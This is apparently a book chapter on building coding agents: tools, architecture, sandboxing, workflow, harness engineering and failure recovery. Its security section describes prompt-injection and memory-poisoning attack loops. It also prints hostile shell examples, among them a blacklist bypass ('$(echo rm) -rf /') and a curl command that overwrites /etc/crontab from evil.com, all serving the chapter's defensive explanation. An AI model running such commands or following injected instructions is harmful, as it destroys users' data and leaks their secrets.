Chapter 5 · Coding Agent and Code Generation

Coding as a Foundational Agent Capability#

Code generation is not the exclusive domain of a few specialized Agents, but a foundational capability that every general-purpose Agent should possess. With today’s SOTA models, giving an Agent basic coding ability requires no elaborate architecture.

Consider a typical task: “Organize all leftover TODO comments in the repository, classify them by priority, and generate issues.” Getting it done requires browsing the directory structure (ls/glob), reading code (read), modifying files (edit/write), running commands (bash), and searching for patterns (grep/search). These five categories of operations cover almost every core action of a Coding Agent, and they are where the seven tools below come from. Strictly speaking, the five categories map naturally onto six tools; the seventh, the Code Interpreter, covers “execute code / compute” operations and in some implementations is simply folded into Bash — the seven tools are a normalized reference set, not a strict one-to-one mapping onto the five categories.

A basic Coding Agent only needs to be equipped with the following seven core tools:

1. Code Interpreter: Provides an isolated sandbox environment (a secure runtime space isolated from the main system, where code execution errors will not affect the host), safely executing Python code
2. Bash Shell: Executes commands in a terminal, such as running test cases or processing specially formatted files
3. Read File Tool: Reads code, configuration, documentation, logs, etc.
4. Write File Tool: Creates new files or completely overwrites existing files
5. Edit File Tool: Performs partial modifications to existing files, a core operation for code maintenance and iteration
6. Search File Name Tool (Glob): Quickly locates target files in the file system via pattern matching, e.g., using **/*.py to find all Python files in a project
7. Search File Content Tool (Grep): Searches for specific text patterns within file content, e.g., finding all lines of code that call a certain function

These seven tools constitute a complete yet minimal toolbox that almost any Agent system can integrate at low cost. In implementation, they can all be exposed as standardized tool services via the MCP protocol introduced in Chapter 4. Note that this toolset is a basic configuration specific to Coding Agents, distinct from the five general tool categories (perception/execution/collaboration/event-triggering/user communication) classified by invocation direction and function nature in Chapter 4 — the seven core tools mainly cover the perception and execution categories. What about collaboration, event triggering, and user communication? In a Coding Agent these are typically the framework’s job, not the tool layer’s — sub-agent delegation, for instance, is handled by the framework’s orchestration logic rather than by dedicated collaboration tools.

To see how the seven tools work together, take the simplest of tasks. Suppose the user says, “Help me compile a list of all TODO comments in the project”:

1
Agent (thinking): Need to find all code lines containing TODO.
2
Agent → Grep("TODO", glob="**/*.py")          # Search file content
3
Tool returns:
4
  src/api.py:42: # TODO: add rate limiting
5
  src/db.py:15:  # TODO: migrate to PostgreSQL
6
  tests/test_api.py:8: # TODO: add edge case tests
7

8
Agent (thinking): Found 3 TODOs, compile them into a list and write to a file.
9
Agent → Write("TODO_LIST.md", content="...")   # Write file
10
Tool returns: File created
11

12
Agent: Done. Found 3 TODO items, the list is saved in TODO_LIST.md.

The entire process used only two tools: Grep (search content) and Write (write file). If the task were more complex — like “count the number of TODOs per module and draw a bar chart” — the Agent would also use the Code Interpreter to execute Python code for statistics and plotting. The seven tools are simple individually; in combination they cover a remarkable range of tasks.

Why should every general-purpose Agent have coding ability? Because code generation is not just about writing programs — it is a general-purpose way of solving problems. Faced with a math problem, the Agent can write code and hand it to a solver for an exact answer; faced with a business rule to pin down, code is far more precise than any natural-language description; missing a tool, it can write one on the spot; when a data format changes, it can generate new parsing logic. Later sections take up each of these scenarios in turn. An Agent with basic coding ability — even one equipped with nothing but the seven simple tools above — can extend its own capability boundary whenever a new need arises.

Case Study: From Manus to OpenClaw — The Coding Core of General-Purpose Agents#

General-purpose Agent products represented by Manus integrate three major capabilities — Deep Research, Computer Use, and Coding — into a single system, pointing to an insight that practice of many kinds has confirmed again and again: A Coding Agent plus a file system is the most fundamental technical foundation for open-ended general-purpose Agents. The open-source project OpenClaw takes a similar approach, demonstrating the same architectural paradigm in the open.

Why is the Coding Agent the core rather than the other two? Because almost all efficient content generation ultimately boils down to code. A PPT is essentially code in the OOXML format (Office Open XML, Microsoft’s open standard for office documents); Word documents and PDF reports can be generated via code; data analysis and visualization are done by Python scripts; even successful browser operation sequences in GUI manipulation can be solidified into reusable RPA (Robotic Process Automation) code (Computer Use itself is covered in Chapter 9, and the mechanism for solidifying operation sequences is detailed in Chapter 8). Deep Research’s search and information synthesis can be achieved through code-driven web requests and parsing. Although Computer Use is more versatile, its cost, latency, and stability are far inferior to completing the same operations directly through code or APIs. Code generation is the most efficient, lowest-cost, and most reusable capability foundation.

Let’s understand this architecture through a concrete execution flow. Suppose the user requests, “Help me analyze last quarter’s sales data and create a summary report”:

1. Read Memory: The Agent reads MEMORY.md and discovers the user prefers PDF format reports and the data source is Google Sheets
2. Call Tools: Obtains usage instructions for the Google Sheets API via the web search module, downloads data via code execution
3. Write Code: Generates a data analysis script in Python (pandas aggregation, matplotlib visualization)
4. Generate Artifacts: Writes the analysis results to report.pdf, charts to the charts/ directory
5. Update Memory: Records in MEMORY.md that “User’s sales data is in Google Sheets, ID: xxx,” so it doesn’t need to ask next time

Throughout the process, the file system is the hub of information flow — memory is read from files, artifacts are written to files, and experience is also saved as files.

The File System as the Agent’s Central Hub. In OpenClaw’s design, the file system is far more than data storage — it is the central hub for the Agent’s memory, knowledge, and capabilities. The Agent’s long-term memory is stored in MEMORY.md (high-level facts and user preferences) and Markdown logs archived by date. Choosing Markdown over a vector database may seem counterintuitive, but it is extremely effective: users can directly open files to read and modify the Agent’s memory (if the Agent misremembers something, just delete that line), Markdown naturally preserves chronological order to avoid temporal confusion in semantic retrieval, and it supports version control and rollback via Git.

More critically, the Agent can write files, which means it can self-evolve by writing them. When an Agent performs a task for the first time and discovers key information it did not know before (say, on a call to a certain bank, it learns that the bank requires the account’s branch address for identity verification), it writes this experience into the knowledge base and loads it automatically the next time it performs the same task. This “gets smarter with use” mechanism is, in essence, a concrete practice of the externalized learning paradigm that Chapter 8 will discuss in depth.

Applicability Boundary: Which Agents Have Coding as Their Core Architecture. The conclusion that “the Coding Agent is the core of a general-purpose Agent” mainly applies to general-purpose Agents targeting open-ended tasks — scenarios like deep research, content generation, and data processing, where task boundaries are uncertain and artifact forms are diverse. In these scenarios, it is impossible to enumerate all needed tools in advance; code generation, as a meta-capability, provides the most economical path for dynamically expanding capability boundaries, making it the core of the architecture. The other kind of Agent — vertical-domain customer service Agents, voice assistants — works in a relatively closed task space, with a core architecture built around fixed business processes, domain tools, and dialogue strategy; there, code is a tool in the toolbox rather than the architectural hub (in the τ-bench example later in this chapter—a benchmark simulating customer service scenarios—code plays exactly the role of a policy verification tool). However, even in the latter, coding is an indispensable foundational capability: precise calculation, data processing, and rule verification all depend on it — this echoes the assertion in the previous section, “Coding as a Foundational Agent Capability”: whether coding is the core architecture depends on the scenario, but possessing coding ability is a common baseline for all Agents.

Sessionless Design#

Next, we discuss two designs — the “always available” interaction mode and the security architecture — which may seem unrelated to the Coding Agent topic at first glance. However, they directly determine how the Agent manages the code execution environment and file system state, which are core concerns of a Coding Agent. (Readers who want to first understand how a Coding Agent works step by step can skip ahead to the section “The Overall Workflow of a Coding Agent” and return here for the interaction and security design.)

OpenClaw adopts a Sessionless design: there are no installation, login, or “open the app” steps; the Agent is always online, and users can send a message at any time via the messaging platform they already use to get a response — this interaction paradigm and its underlying Gateway message routing and event-driven architecture have been discussed in detail in the user communication tool section of Chapter 4 and will not be repeated here. What is worth emphasizing is the prerequisite for this paradigm to work: large models have matured enough to serve as a new kind of “intelligent foundation” — similar to how a traditional operating system abstracts hardware and provides a unified interface for upper-layer applications, large models abstract the complexity of language understanding, reasoning, and planning, providing a unified intelligent abstraction for upper-layer Agents. It is precisely because of this foundation that the “always online + instant response” paradigm can be engineered at low cost.

For a Coding Agent, the real engineering challenge of Sessionless is how the code execution environment and file system state persist across messages. Two user messages might be minutes apart or days apart, and the Agent’s work relies on a large amount of implicit state: dependency packages installed in the sandbox, the working directory and environment variables in the terminal session, a development server running in the background, files written halfway. OpenClaw’s approach is to manage state in two layers. File system state is inherently persistent — the workspace directory is mounted on persistent storage outside the sandbox, so code, data, and intermediate artifacts survive across messages and sandbox restarts; this is another meaning of “the file system as the Agent’s central hub.” Process state is kept alive or rebuilt on demand — the sandbox and its terminal session remain running during active periods to avoid cold-starting, re-entering the working directory, and re-activating the virtual environment for every message; they are destroyed after an idle timeout to reclaim resources, but before destruction, serializable environment state (working directory, environment variables, background task list) is recorded in workspace files, and the Agent rebuilds from these records upon the next wake-up. The persistent terminal session discussed in the section “State Persistence in the Command Execution Environment” later in this chapter is the counterpart of this mechanism within a single task; Sessionless extends the same problem to a time scale spanning messages and days.

Sessionless is not maintenance-free — every user message requires reloading the complete trajectory and working state, which puts a premium on state serialization efficiency and trajectory compression strategy; the design principles of trajectory compression were covered in the “Context Compression Strategies” section of Chapter 2, while this chapter focuses on the engineering trade-offs the Sessionless architecture imposes.

Security for Coding Agents#

This section gathers the Coding Agent’s lines of defense into one coherent storyline: we first outline the threat model—which risks are most lethal; then isolation as the safety net—network egress, file system, and resource limits in the sandbox; then execution-time defense—semantic parsing of commands, and speculative execution that makes security checks “invisible”; and finally trust and loyalty—whom the Agent serves under multi-party delegation, and how to move the trust boundary down to the data layer when AI-written code itself cannot be trusted. The threat model, loyalty, and trust-boundary discussions apply to all Agents; the sandbox and command parsing are increments specific to Coding Agents.

This “sovereign Agent” paradigm also introduces severe security challenges. A Coding Agent has permissions to read and write files, execute commands, and access networks, meaning that once injected with malicious instructions, it could cause irreversible damage. Developer and independent researcher Simon Willison summarized this risk with his famous “Lethal Triad”—when all three elements are present, they form a complete attack loop, putting the system at high risk:

1. Access to Private Data — The Agent can read user files and password managers.
2. Exposure to Untrusted Content — Processed emails and web pages may contain malicious payloads.
3. Ability to Communicate Externally — It can send emails and execute commands.

This closes the attack loop: malicious instructions hidden in untrusted content enter the Agent, drive it to read private data, and then exfiltrate it through external channels. Note that the presence of all three elements is dangerous enough on its own, without any additional conditions. Building on this, the author adds a fourth dimension—Persistent Memory. This is not a parallel fourth necessary condition, but an amplifier for attacks: an attacker can write seemingly harmless biases or malicious instructions into the Agent’s long-term memory, where they lie dormant across sessions and trigger at an opportune moment — turning a one-off attack into a threat that lies in wait and compounds over time.

These four points can be summarized as four types of boundaries: data boundary, input trust boundary, output impact boundary, and cross-session boundary. A full-permission local Agent like OpenClaw possesses all four, making security protection a core challenge that such Agents must confront.

This also explains why closed-source commercial Agents (like Claude Cowork (Anthropic’s general-purpose Agent for knowledge work, reusing Claude Code’s agentic architecture, capable of reading and writing local files and completing multi-step tasks across multiple office applications)) have chosen conservative permission strategies—not because the technology falls short, but because the security risks are too high. Against prompt injection, input filtering alone barely helps. The goal is not to recognize every attack, but to ensure that an injected Agent never gets the chance to carry a dangerous action through. The defense system has been established layer by layer in the previous two chapters: Context Layer Defense — marking external content sources, structured role isolation, input sanitization — see the prompt injection section in Chapter 2; Execution Layer Defense — Sidecar independent review, Human in the loop, least privilege and privilege separation — see Chapter 4. It is difficult for an Agent within the same context to determine if it has been injected, so critical operations must be reviewed by mechanisms outside that context. This principle runs through both chapters. This section only adds three specific increments unique to Coding Agents:

• Command Semantic Parsing — The combinatorial explosion of Shell commands makes keyword blacklists useless; the real effect of a command must be understood at the semantic level (expanded later in this section);
• Sandbox Isolation and Network Egress Control — Code execution is an attack surface unique to Coding Agents; the engineering choices for isolation levels and egress strategies are covered later in this section;
• Cross-Session Defense for Persistent Memory — This is an extended item specifically emphasized in this chapter beyond the Lethal Triad: content written to long-term memory must undergo the same trust review as external content, preventing malicious instructions from lying dormant in MEMORY.md and taking effect long-term.

These three increments fall into the verification, execution, and data layers respectively, complementing the defense system from the previous two chapters. These strategies cannot completely eliminate risk, but they can reduce the Agent’s attack surface.

Isolation as the Safety Net: Engineering Choices for the Code Execution Sandbox. A sandbox is not a switch; it’s a series of engineering decisions. Chapter 4 already answered “why isolate,” the hierarchical principles of isolation mechanisms (the three-tier spectrum: process-level isolation, containers, microVM), and the selection rule of “process-level for personal local machines, containers for single-tenant cloud, microVM/gVisor for multi-tenant or untrusted code”; we will not repeat that spectrum here, only supplement four increments that are unavoidable when implementing a Coding Agent and were not covered in Chapter 4: how to manage network egress, how much of the file system to mount, how to limit resources, and how to reconcile persistent sessions with isolation.

Network Egress Control. This is the most easily overlooked and the most critical item: no network by default, with access granted on demand through a whitelist proxy to a limited set of destinations (package sources, documentation sites, APIs the task explicitly requires). Looking back at item 3 of the Lethal Triad—“Ability to Communicate Externally”—network egress control is its execution-layer defense: even if a prompt injection succeeds and malicious code reads sensitive data inside the sandbox, without an egress, it cannot be transmitted. Compared to trying to identify every injection, cutting off the data exfiltration channel is a much more deterministic line of defense.

File System Isolation Scope. Mount the source code directory as read-only (the Agent modifies code through editing tools, and the generated patches are reviewed before being written to disk, or a copy is mounted into a writable workspace); a separate writable workspace directory holds generated artifacts and intermediate files; credential files (~/.ssh, keys, tokens) are not mounted into the sandbox at all—invisible data cannot be leaked, corresponding to item 1 of the Lethal Triad.

Resource Limits and Timeouts. Set quotas for CPU, memory, and disk, plus a wall-clock timeout, to defend against infinite loops, fork bombs (a process that rapidly replicates itself until the system crashes), and unlimited disk writes. A practical detail: timeouts and limit violations should return a structured error to the Agent (“Execution terminated after 120 seconds, last output was…”) rather than silently killing the process, giving the Agent a chance to revise its strategy in the next turn.

Reconciling Persistent Sessions and Isolation. The later section “State Persistence in the Command Execution Environment” advocates for maintaining long-lived terminal sessions, while the isolation principle advocates for disposable environments—there is tension between the two. The reconciliation approach is: keep the session alive inside the sandbox, the terminal session’s lifecycle strictly does not exceed the sandbox’s lifecycle, and session state never escapes to the host machine; for scenarios requiring recovery across long time intervals (like the Sessionless architecture mentioned earlier), rely on sandbox snapshots or “workspace file persistence + environment reconstruction via scripts” to restore state, rather than indefinitely extending the sandbox’s lifetime. In other words, what is persisted is auditable state descriptions (files, scripts, manifests), not opaque running processes.

Safety: Semantic Parsing over Keyword Blacklists. Chapter 1 mentioned that the verification layer should adopt a “understanding-based rather than matching-based” security mechanism. Shell command security validation is the most challenging application of this principle. Simple keyword blacklists cannot cope with the combinatorial explosion of Shell—commands can bypass any static rules through pipes, subshells, variable expansion, etc. (e.g., if rm is blocked, an attacker can use $(echo rm) -rf / to bypass). Production-grade Harnesses employ semantic parsing: understanding each command’s argument types and consumption rules (which flags consume the next argument), identifying attack patterns like “a seemingly harmless flag actually consumes the next argument, hiding a dangerous payload.” For example, find / -name '*.log' -exec rm {} \; embeds an rm delete operation through legitimate find command arguments; another example is curl -o /etc/crontab http://evil.com/payload, which appears to download a file but actually overwrites system scheduled tasks. Semantic parsing can identify these nested dangerous operations, while simple command blacklists cannot capture them. This understanding-based rather than matching-based security mechanism is a high-level implementation of the “constraint” function.

Speculative Execution: Making Security Checks “Invisible”. This is precisely the effect of the Sidecar gating mechanism from Chapter 4 at the user experience level—Chapter 4 explained why critical operations should be reviewed by a Sidecar independent of the main context; this section focuses on how to make this review imperceptible to the user as a wait. The approach is to decouple “display” and “release” and run them in parallel: when the Agent is about to execute a tool call, the system simultaneously displays a progress hint on the interface (e.g., “Reading file src/main.py…”) while running the security check in the background. A clarification is needed here regarding a commonly used analogy: it is different from CPU speculative execution—if the CPU guesses wrong, it must discard computed results and roll back state; here, the preliminary action is merely a side-effect-free UI hint, which changes no real state. If the check fails, no rollback is needed; the hint is simply replaced with “waiting for confirmation.” In most cases, the security check completes before the user even notices, so the user feels no additional latency; only when a quick determination is impossible does the system actually pause and wait for confirmation. This is the pinnacle of Harness design: security without sacrificing user experience.

Whom Does the Agent Serve: Loyalty Under Multi-Party Delegation.

The security mechanisms above prevent “commands from being executed maliciously”; there is a subtler security issue—principal loyalty: whose side is the Agent actually on. Models are trained with a naive default principle—“whoever is talking to me, I will try my best to help them”—but real-world Agents often operate under multi-party delegation: acting on behalf of a principal while dealing with third parties whose interests conflict. An Agent negotiating a price on your behalf faces not a “user in need of help” but a negotiating opponent. Here, “help whoever speaks” is a dangerous default—the opponent need only open its mouth to start turning your Agent.

Putting frontier models into this situation reveals a clear loyalty spectrum, with both ends failing¹: at one end, too honest—handing the principal’s private information (e.g., “our bottom line is 12,000”) straight to the opponent, and caving after a few rounds of pressure; at the other end, too suspicious—refusing even the principal’s legitimate requests, and so failing the task. The hard part is that the two failures sit on a seesaw: plug the leaks and you slide toward over-refusal—it is hard to have both.

This is particularly relevant to Coding Agents: untrusted content read from a repository, output returned by a tool, instructions sent by a third-party MCP server—all are “opponents” trying to turn the Agent—prompt injection is essentially an attempt at turning (Chapters 2 and 4). The Harness must therefore explicitly nail down whom the Agent is loyal to: instructions from the principal carry the highest priority, while everything from external parties is downgraded by default to “data that may be consulted but carries no force of instruction.” In the system prompt, an effective loyalty code of conduct is: protect the principal’s private information and even its “existence”; when refusing, do not read out the list of refusals (that itself is a leak); private bottom lines are not public positions; only execute the principal’s clear and specific instructions; withstand repeated pressure. Essentially, this is using the Harness to give the model a stance it lacks by default: absolute loyalty to the principal, and prudence towards external interacting parties.

When AI-Written Code Itself Is Untrustworthy: Moving the Trust Boundary Downward.

The loyalty code above makes the Agent more likely to follow the rules, but for high-risk data operations, “more likely” is not enough—constraints must move from “hoping the Agent will behave” down to enforcement at the data layer. The more radical stance² is: simply treat the application layer as untrustworthy and push the enforcement of data invariants down below it. For the past thirty years, the integrity boundary of software has lived at the application layer—handler code decided who could operate and what values were legal, and the database trusted that code unconditionally; but LLM-generated handlers often omit the permission and integrity checks that human authors would carry as a matter of habit, and autonomous Agents operate directly on production data, breaking that premise. The new approach (which can be called Permission-Embedded Data Objects) has each data entity carry declarative permission rules, validators, and consequence statements within a human-reviewed schema, enforced by a runtime pipeline on every write. The key primitive is the access context attached to every operation: a regenerated handler runs with the permissions of the user it serves, while an autonomous Agent runs under its own restricted identity (scoped principal)—rather than merely hoping the Agent stays loyal, architecturally demote it to a permission-limited subject, so that even if turned, it cannot cross the line.

Compared against several mainstream solutions on the same set of prompts, this mechanism achieves zero writes violating the declared invariants, while bare SQL, LLM-written checks, constitutional prompts, and action-boundary interceptors each let through anywhere from a handful to dozens of violations. It is not “more likely to be correct” but “impossible to be wrong,” at the cost of about 2 extra milliseconds per write. Of course, the guarantee is conditional: the schema must truly capture all desired invariants, and deployment must block every path by which the untrusted layer could bypass storage and connect directly to the database. For Coding Agents, this yields an important architectural principle: when both the code writer and the code runner may be untrusted, truly reliable constraints cannot reside in the generated code, but must be placed in the human-reviewed foundation beneath it—this is the ultimate form of the “constraints over guidance” principle from Chapter 1, applied at the data layer.

The Overall Workflow of a Coding Agent#

The following describes a recommended engineering workflow. It projects software engineering best practices onto the Agent, outlining an ideal form. Real-world Coding Agents (like Claude Code, OpenClaw) more often work in a reactive, iterative loop and trim this workflow as needed—for simple tasks they skip the design document and don’t block on user approval at every step; only when a task is complex and far-reaching do they run every stage in full.

Project Documentation.

A Coding Agent’s work begins with a systematic understanding of the project. When an Agent first encounters a code repository, its first job is not to start modifying code but to build a cognitive framework for the whole project—just as a new engineer doesn’t push code on day one, but starts by learning the lay of the land. The Agent begins by checking whether the project has documentation—a README, architecture design documents, developer guides.

If key documents are missing, the Agent should not start working blindly but should proactively take on the responsibility of documentation—by systematically reading the codebase, identifying main modules, core abstractions, and dependencies between components, and generating initial documents containing an architecture overview, directory structure, and test running guide. This document serves as a blueprint for the Agent’s subsequent work and provides an entry point for other developers. This embodies a key principle: the externalization of knowledge is a prerequisite for efficient collaboration.

Project documentation now has a form specific to Agents: Project Instruction Files. Files like CLAUDE.md, AGENTS.md, .cursorrules have become de facto industry standards—they are automatically injected into the context at the start of every session, acting as project-level system prompts. Unlike READMEs intended for human readers, instruction files carry behavior conventions for Agents: build and test commands (“use pnpm test instead of npm test”), code style (“disable the any type”), and clear restricted zones (“do not modify the migrations/ directory”). This is the same idea as OpenClaw’s SOUL.md (defining the Agent’s identity and behavior rules) and MEMORY.md (accumulating cross-session experience), applied at different levels: SOUL.md defines “who the Agent is,” while project instruction files define “how to work in this project.” From the perspective of context engineering in Chapter 2, instruction files are also the most economical stable prefix—their content doesn’t change with the task, making them naturally KV Cache-friendly; they are also the most direct implementation of the principle that “knowledge must exist within the codebase itself.”

The principle of knowledge externalization also has an interesting corollary: Teams that are friendly to remote work are often also friendly to AI Agents. Remote teams are forced to rely on asynchronous communication and documentation—decisions are recorded in documents, context lives in issue and PR descriptions, tribal knowledge accumulates in developer guides rather than passing by word of mouth at the next desk or on a conference-room whiteboard. This is exactly the form of knowledge Agents can consume: an Agent cannot read a verbal agreement, but it can read a design document. Conversely, a team that runs on “just ask the person sitting next to me” imposes the same steep onboarding cost on an Agent as on a new remote hire. A simple proxy for a team’s “AI-readiness”: can a remote newcomer work independently with nothing but the code repository and its documentation?

Task Understanding and Requirements Clarification.

For simple requirements with clear boundaries and limited impact—such as fixing a known bug or adjusting a function’s parameters—the Agent can proceed directly to the implementation phase. However, most tasks in software development are not this simple.

For complex requirements, the Agent must be more cautious and methodical. Complexity can arise from multiple dimensions: the ambiguity of the requirement itself (the user knows what they want but cannot express it precisely), the diversity of implementation paths (multiple technical solutions with their own trade-offs), or the breadth of impact (requiring modifications to multiple modules, potentially breaking existing functionality). The Agent should clarify boundaries through exploratory research and proactively engage in dialogue with the user when necessary. For example, when a user asks to “optimize system performance,” the Agent needs to first figure out: what is the specific goal of the optimization (reduce response time, decrease memory usage, or increase throughput), what trade-offs are acceptable (is increased code complexity allowed), and where the current bottleneck lies. Starting to code while the requirements are still vague often leads to significant rework.

Writing a Design Document.

A design document is a bridge that translates abstract requirements into a concrete implementation plan. It should answer core questions: which modules to modify and why, which solution to adopt and its relative advantages, what new dependencies need to be introduced, and the expected impact on the system. Writing a design document is itself deep thinking—it forces the Agent to conceptually validate the feasibility of a solution before investing heavily in coding. More importantly, the design document provides an efficient intervention point for humans—reviewing a concise design document is much easier than reviewing hundreds of lines of code. After completing the design document, the Agent should submit it for user review and wait for approval before proceeding.

Code Implementation and Testing.

After obtaining design approval, the Agent follows the project’s code conventions for implementation, reuses existing abstractions and tools, and performs moderate refactoring when necessary to maintain the health of the codebase.

After implementation, the Agent immediately enters a test-driven quality assurance phase—writing test cases for the new or modified functionality, covering normal paths, boundary conditions, and error scenarios. After writing the tests, the Agent executes the test suite. If tests fail, the Agent should not simply report the failure to the user but should analyze the cause, locate the problem, and modify the code until all tests pass. This “test-fix” loop may require several iterations, and it is this self-correcting ability that elevates a Coding Agent from a code generator to a reliable engineering assistant. Conversely, the most common way a Coding Agent slacks off is to skip this stage entirely—writing the code and reporting “task complete” without ever running the tests. Defining “tests pass,” rather than “code written,” as the completion criterion is precisely Loop Engineering’s principle of letting verification decide when it is safe to stop, applied to coding (Chapter 10 discusses this class of “premature termination” systematically).

Even if all tests pass, the Agent’s work is not done. The next phase is code review: the Agent critically examines its own generated code. Is it readable and adequately commented? Are there lurking performance problems or security vulnerabilities? Does it follow the project’s code style and best practices? This self-review can be done by reading the code, running lint tools, or calling a dedicated code review sub-agent. If the review finds issues, the Agent should return to the modification phase and fix them, rather than delivering flawed code to the user.

Documentation Synchronization and Delivery.

If the code changes involve architectural-level modifications—such as introducing a new module, changing dependencies between modules, or altering the semantics of core abstractions—the Agent needs to update the architecture documentation accordingly. Outdated documentation is worse than no documentation because it misleads future developers. By automatically updating documentation after every significant change, the Agent helps maintain the integrity and timeliness of the project’s knowledge base.

This workflow embodies the core principles of software engineering: planning precedes action, verification runs throughout, and documentation evolves together with the code.

Harness Engineering in Practice for Coding Agents#

Chapter 1 introduced the concept of Harness Engineering and the formula Agent = Model + Harness. The Harness here includes the context and tools from the core formula, as well as constraints, verification, and correction mechanisms—these five elements together constitute the Harness defined in Chapter 1. Coding Agents are perhaps the domain where Harness Engineering pays off most—code writing is the most verifiable of all Agent tasks, and its constraints, verification, and correction can all lean on existing infrastructure. This section focuses on concrete practice in the Coding Agent scenario.

Whether a system runs stably often depends less on the power of the model and more on the robustness of the infrastructure built around the Agent. Chapter 1 divides the Harness into two layers—Context and Tools (enabling the Agent to act) and Constraints, Verification, and Correction (preventing the Agent from doing wrong). In the Coding Agent scenario, these translate into specific engineering components:

• Acceptance Baseline: What constitutes “done”—test suites, CI pipeline (Continuous Integration pipeline, a series of checks automatically run after code submission), code review standards
• Execution Boundary: What the Agent can and cannot touch—module boundaries, dependency rules, permission controls
• Feedback Signals: Automated correctness judgments—Linter (code style checking tool that can automatically find formatting errors and potential issues) output, test results, type checking errors
• Rollback Mechanism: How to recover if something goes wrong—Git version control, sandbox isolation, snapshot rollback

Why Coding Agents Are Particularly Suitable for Harness Engineering.

Two dimensions — how clear the goal is, and how automated the verification is — divide tasks into four states. A clear goal with automatically verifiable results is the territory where Agents thrive; a clear goal whose acceptance still depends on human eyes caps throughput at the speed of human review; automated feedback with a vague goal lets the system run efficiently in the wrong direction; lacking both, the Agent is of little use. Table 5-1 shows these four states. The goal of the Harness is to push as many tasks as possible into the “clear goal + automated verification” quadrant.

Table 5-1 Four Quadrants of Task Clarity and Verification Automation

Code writing naturally sits at the core of this quadrant—test suites provide clear acceptance criteria, linters and type checkers offer instant automated verification, and Git provides perfect version control and rollback capabilities. This explains why Coding Agents are currently the most mature among all Agent types: not because code generation models are particularly powerful, but because decades of software engineering infrastructure naturally constitute a robust Harness.

Industry Practice.

Three case studies of Harness practice confirm the above principles:

• Large-scale code migration case (from a large tech company’s publicly shared large-scale code migration practice): The key was not the model’s strength, but the Harness doing three things right—knowledge must exist within the codebase itself (what the Agent cannot see does not exist), constraints are encoded into linters and CI rather than written in documentation, and verification and correction are fully automated end-to-end.
• LangChain: Significantly improved benchmark task performance solely by optimizing the Harness (system prompts, tool middleware, self-verification loops). Particularly noteworthy is the methodology of “using an Agent to analyze failure trajectories to improve the Harness,” shifting Harness engineering from experience-driven to data-driven.
• Anthropic: Splits long tasks into two roles—an initialization Agent responsible for breaking down large tasks into a task list, and an execution Agent responsible for progressing step by step, leaving intermediate results (such as completed code files and updated task lists) for the next round to continue using. This division of labor solves the problem of long-running Agents “trying to do too much at once” or “claiming completion prematurely.”

From Coding Agent to General Harness Design Principles.

The Harness practices of Coding Agents provide transferable design principles for all Agent systems:

1. Constraints over guidance: Rules that can be enforced with code should not be suggested in documentation. The value of linter rules, type constraints, and CI checks far exceeds “please follow…” guidance in system prompts—the former means “cannot be done,” the latter is merely “advised against.”
2. Automate verification: Manual review is an unscalable bottleneck. Investment in test suites, code quality checks, and behavior monitoring yields far higher returns than adding more human effort.
3. Feedback should be as fast and structured as possible: The more detailed the error message and the closer it is to the moment of error, the higher the Agent’s correction efficiency. The Agent status bar techniques from Chapter 2 (detailed error messages, tool call counters) embody this principle.
4. Rollback must be reliable: Agents can only experiment boldly when operating within a safety net. Git branches, sandbox environments, and snapshot mechanisms ensure any error is reversible.

A deeper purpose of constraints: preventing process errors. The acceptance baseline governs whether the outcome is right; the execution boundary governs the process—even a correct outcome does not justify a wrong method. Deleting and rebuilding the database to “fix” a database fault does repair it, but the data is gone; deleting all the code to fix a compilation error does make compilation pass, but the implementation is gone. Such destructive shortcuts always exist: even when restrictions are written into the final evaluation metrics, Agents often find ways around them—this is the everyday form of reward hacking (Chapter 7) in Agent tasks. A production Harness therefore places dedicated checks and approvals on dangerous actions like rm -rf, deleting production data, or overwriting an unread file (semantic parsing in this chapter’s security section, Sidecar review in Chapter 4), constraining actions, not merely outcomes. RLVP in Chapter 7 (Reinforcement Learning with Verified Penalty—“reward the outcome, penalize the path”) answers the same question from the training side: beyond the final outcome reward, it penalizes verifiable violations along the path, internalizing “no destructive means” as the model’s engineering common sense. For an existing model, Harness guardrails are external constraints; for a trainable model, process penalties are internalization—the goal is the same.

Tool Orchestration: Fault Boundary Control. Mature Coding Agents support parallel tool calls. The unique problem from the Harness perspective is how faults propagate: when one tool fails, which calls should be aborted and which should continue? The principle is that faults propagate only within the same batch of parallel calls, not up to the parent operation—for example, reading three files simultaneously, if one is not found, only that failure should be reported, not cancel the other two, and certainly not abort the entire task. This fine-grained fault boundary control avoids the fragile pattern of “one command failure aborting the entire task.” The specific mechanisms for parallel calls, streaming parsing, and cascading aborts are detailed in the “Implementation Tips” section of this chapter.

Failure and Error Recovery#

The previous section presented the principles and components of Harness engineering; this section dives into the piece that most differentiates engineering maturity—failure and error recovery. The ablation experiment in Chapter 1 showed how severe the problem can be: missing a single piece of tool-result feedback is enough to trap an Agent in an infinite loop—and real production environments see far more diverse failures than any experiment. This section systematically answers three questions: What failures does a production Harness encounter? How are they detected and recovered from? And when must the system terminate?³

A taxonomy of failures: four layers. The first step toward a systematic response is classification. By where a failure occurs, there are four layers:

• API layer: rate limiting (HTTP 429), service overload, request timeouts, connection drops, and output truncated at the token limit. These failures are unrelated to the task itself—they are infrastructure noise.
• Tool layer: hallucinated calls (invoking a tool that does not exist), malformed arguments (violating the tool’s input contract), execution exceptions, and the most dangerous kind—a tool repeatedly returning the same error while the model retries it unchanged.
• Context layer: context window overflow, compaction failure, and corrupted trajectory structure (such as a tool call missing its paired result message).
• Control-flow layer: infinite loops (repeating the same operation with no progress) and death spirals (recovery logic triggered by an error itself calls the LLM, fails again, and cascades).

Detection: classify first, then count. The first judgment upon catching a failure is not “should we retry” but “is it worth retrying.” Retryable errors (rate limiting, overload, network jitter) deserve retries; non-retryable errors (invalid arguments, insufficient permissions, nonexistent tool) will produce the same result no matter how many times they are retried as-is—the input or strategy must change. A production Harness maintains a mapping from error types to recovery strategies, rather than a blanket “retry on error.”

Beyond individual errors, detect patterns. First, repeated-call fingerprints: hash the “tool name + arguments” pair; the same fingerprint recurring is a clear signal of a no-progress loop—the Agent in Chapter 1’s ablation experiment calling the same tool over and over was exactly this pattern. Second, consecutive-failure counters: each recovery path keeps its own counter, providing the basis for the circuit breakers discussed later.

